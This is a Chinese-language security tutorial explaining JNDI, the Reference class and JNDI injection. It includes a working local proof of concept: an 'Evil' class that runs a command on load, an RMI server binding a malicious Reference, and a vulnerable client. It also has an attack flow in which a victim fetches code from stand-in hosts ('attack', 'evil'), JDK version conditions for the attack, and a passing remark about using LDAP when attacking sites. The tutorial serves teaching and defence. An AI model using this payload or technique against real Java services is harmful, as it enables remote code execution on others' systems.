JNDI注入

1. JDNI注入

本篇文章作者jok3r0x,本文属i春秋原创奖励计划,未经许可禁止转载。

1.1. 背景知识

1.1.1. JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service ProviderRMI/LDAP 等等。

1.1.2. ObjectFactory

每一个 Service Provider 可能配有多个 Object FactoryObject Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。

1.2. JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,就像人的名字或DNS中的域名与IP的关系。

JNDI由JNDI API命名管理JNDI SPI(service provider interface)服务提供的接口组成。我们的应用可以通过JNDI的API去访问相关服务提供的接口

img

JDNI的服务是可以拓展的,可以从JNDI页面下载其他服务提供商,也可以从远程获得其他服务提供商 JDK包括以下命名/目录服务的服务:

  • 轻型目录访问协议(ldap)
  • 通用对象请求代理体系结构(CORBA),通用对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

Java命名和目录接口(JNDI)是一种Java API,类似一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

代码格式如下:

1
2
3
4
5
6
7
8
//指定需要查找name名称
String jndiName= "Test";

//初始化默认环境
Context context = new InitialContext();

//查找该name的数据
DataSource ds = (DataSourse)context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。

那上面提到的命名目录是什么?

  • 命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
  • 目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象

举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务

其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。

在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。一图胜千言:

image-20230512105627919

从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务时,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象。

1.3. JNDI类

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming

//主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.directory

//在命名目录服务器中请求事件通知;
javax.naming.event

//提供LDAP支持;
javax.naming.ldap

//允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
javax.naming.spi

1.3.1. InitialContext类

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

构造方法

1
2
3
4
5
6
7
8
//构建一个初始上下文。
InitialContext()

//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)

//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
  • 实现代码
1
InitialContext initialContext = new InitialContext();

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//将名称绑定到对象。
bind(Name name, Object obj)

//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)

//检索命名对象。
lookup(String name)

//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)

//取消绑定命名对象。
unbind(String name)
  • 实现代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class Client
{
public static void main( String[] args ) throws NamingException, RemoteException {
String uri = "rmi://127.0.0.1:1099/test";
InitialContext initialContext = new InitialContext();
HelloInterface helloInterface = (HelloInterface) initialContext.lookup(uri);
System.out.println(helloInterface.says("hello"));
}
}

1.3.2. Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。具体可以查看Java技术回顾之JNDI:命名和目录服务基本概念

构造方法

1
2
3
4
5
6
7
8
9
10
11
//为类名为“className”的对象构造一个新的引用。  
Reference(String className)

//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)

//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)

//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
  • 实现代码
1
2
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

补充

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void add(int posn, RefAddr addr) 
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。

1.4. JNDI代码实现

在JNDI中提供了绑定和查找的方法

  • bind(Name name, Object obj) :将名称绑定到对象中
  • lookup(String name): 通过名字检索执行的对象

1.4.1. 实现过程

类似rmi的实现过程,只不过最后绑定和检索的时候有一点差别。

  • 定义远程接口
  • 服务端实现远程接口
  • 服务端注册远程对象
  • 客户端调用接口

1.4.2. 实现举例

HelloInterface.class(定义远程接口)

1
2
3
4
5
6
7
8
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
String says (String name) throws RemoteException;
}

HelloImpl.class(HelloInterface远程接口实现类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface{
protected HelloImpl() throws RemoteException {
}

@Override
public String says(String name) throws RemoteException {
return "test " + name;
}
}

Server.class(注册远程对象并绑定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class Server {

public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");

//初始化环境
InitialContext ctx = new InitialContext(env);

// 创建一个注册表
LocateRegistry.createRegistry(1099);

// 远程调用对象
HelloInterface hello = new HelloImpl();

// 绑定
ctx.bind("test", hello);
}
}

Client.class(远程调用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class Client
{
public static void main( String[] args ) throws NamingException, RemoteException {
//初始化环境
InitialContext init = new InitialContext();
//JNDI的方式获取远程对象
HelloInterface hello = (HelloInterface) init.lookup("rmi://127.0.0.1:1099/test");
// 调用方法
System.out.println(hello.says("123"));
}
}

image-20230512105732076

1.5. JNDI动态协议转换

我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中 init.lookup("rmi://127.0.0.1:1099/test")这一处代码改为init.lookup("test")也是没啥问题的。

那么动态协议转换是个什么意思呢?其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。

正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西。

1.6. JNDI Naming Reference

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

当然,要把一个对象绑定到RMI注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到RMI注册表,并被远程访问到了

1
2
3
4
5
6
// 第一个参数是远程加载时所使用的类名
// 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了)
// 第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://example.com:8888/refClassName.class)动态加载,并且调用`insClassName`的**无参构造函数**,所以**可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的 static代码块 来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。**

了解更多关于static代码块,参考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html

1.7. JNDI注入

1.7.1. JNDI注入原理

就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

image-20230512110224374

1.7.2. JNDI注入的利用条件

  • 客户端的lookup()方法的参数可控
  • 服务端在使用Reference类时,classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在JNDI注入中也起着至关重要的作用,而且不同的攻击Payload对jdk的版本要求也不一致,这里就全部列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

可以看出RMI的Codebase限制明显比LDAP多,所以我们在日站的时候,最好也是用LDAP来进行注入。

1.7.3. JNDI注入攻击流程

  1. 攻击者通过可控url触发动态协议转换(rmi://attack:1090/Exploit)
  2. 受害者服务器原上下文环境被转换为rmi://attack:1090/Exploit
  3. 受害者服务器去rmi://attack:1090/Exploit请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper对象(Reference("Class1","Class2","http://evil:8080/"))
  4. 应用获取到ReferenceWrapper开始在本地查找Class1,发现无,则去请求http://evil:8080/Class2.class
  5. web服务器返回事先准备好的恶意class文件,受害者服务器调用Class2的构造方法,恶意代码执行

1.7.4. JNDI注入举例

创建恶意类Evil(不能带package)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;

public class Evil implements ObjectFactory { // 实现接口ObjectFactory,不然会报错,虽然不影响执行
public Evil() throws IOException { // 构造方法,加载时会自动调用
exec("open -na Calculator");
}

public static void exec(String cmd) throws IOException {
Process runcmd = Runtime.getRuntime().exec(cmd);
InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream());
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String tmp;
while ((tmp = bufferedReader.readLine()) != null){
System.out.println(tmp);
}
inputStreamReader.close();
bufferedReader.close();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

常见RMI服务端,绑定恶意的Reference到rmi注册表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class App {

public static void main(String[] args) throws IOException, NamingException {
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");

//初始化环境
InitialContext ctx = new InitialContext(env);

// 创建一个注册表
LocateRegistry.createRegistry(1099);

// 绑定恶意的Reference到rmi注册表
// 注意,classFactoryLocation地址后面一定要加上/ 如果不加上/,那么则向web服务请求恶意字节码的时候,则会找不到该字节码
Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
ctx.bind("evil", referenceWrapper);

}
}

image-20230512110359745

客户端远程调用evil对应类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true)); // 参考上面的利用条件,低版本不需要设置

//初始化环境
InitialContext init = new InitialContext();
// 远程调用evil,然后找不到服务端类Evil,就会调用http://127.0.0.1:8888/Evil.class
init.lookup("rmi://127.0.0.1:1099/evil");
}
}

1.8. 参考

0%